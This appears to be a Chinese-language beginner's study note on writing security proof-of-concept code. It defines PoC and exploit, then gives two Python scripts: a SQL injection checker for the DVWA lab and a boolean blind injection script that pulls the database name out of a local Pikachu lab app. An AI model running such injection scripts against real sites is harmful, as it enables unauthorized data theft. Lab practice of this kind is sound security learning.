前言
想锻炼一下编程能力,师兄说以后很重要的,最好学好一点
但是我又想学习安全相关的,那就来练练poc吧
什么是POC
PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序(本教程中,如无特别说明,默认代表漏洞验证程序),当然你要强行说我说的不对,我肯定支持你,反正我没打算反驳你。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。因为是一些代码片段,所以到现在都没看到有一本书来讲怎么编写 PoC 的,因为这些东西对于会写代码的人来说,他们会很惊讶分分钟就会了的事为什么还要出本书。
什么是 Exp
Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了,当然,如果你没有使用这个漏洞,它就这么放着,那么这个漏洞,对你来说可以认为是没有价值的。
POC注意事项
- 1. 随机性 参数随机(有时候可以不随机)
- 2. 通用性 要对一样组件的网站都成立,不能是针对个别网站
- 3. 确定性 要明确验证漏洞存在与否
尝试编写第一个POC
dvwa的sql注入poc
这个是要自己在id参数里面添加’
根据返回结果才可以验证出来
import requests import re header = {"Cookie":""} url = input("请输入url") r = requests.get(url.header) res = str(r.content) if re.search("syntax",res): print("存在sql注入") else: print("不存在sql注入")
pikachu sql盲注poc
import requests import string url = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php" #计算响应包长度 params={"name":"kobe","submit":"查询"} normalhtmllen = len(requests.get(url=url,params=params).text) # url2=requests.get(url=url,params=params) print("the len of HTML:",normalhtmllen) # print(url2.url) print("the len of HTML:"+str(normalhtmllen)) #+号要加str()改为字符串 #------------判断数据库名的长度-------------------------------- dbNameLen = 0 while True: dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询" #print(dbNameLen_url) if len(requests.get(dbNameLen_url).text) == normalhtmllen: print("The len of dbName",dbNameLen) break if dbNameLen == 200: print("Error!") break dbNameLen += 1 #----------------------------------------------------------------- #---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名------ dbName="" for i in range(1,9): for a in string.ascii_lowercase: dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询" #print(dbName_url) if len(requests.get(dbName_url).text) == normalhtmllen: dbName += a print(dbName)
参考
http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/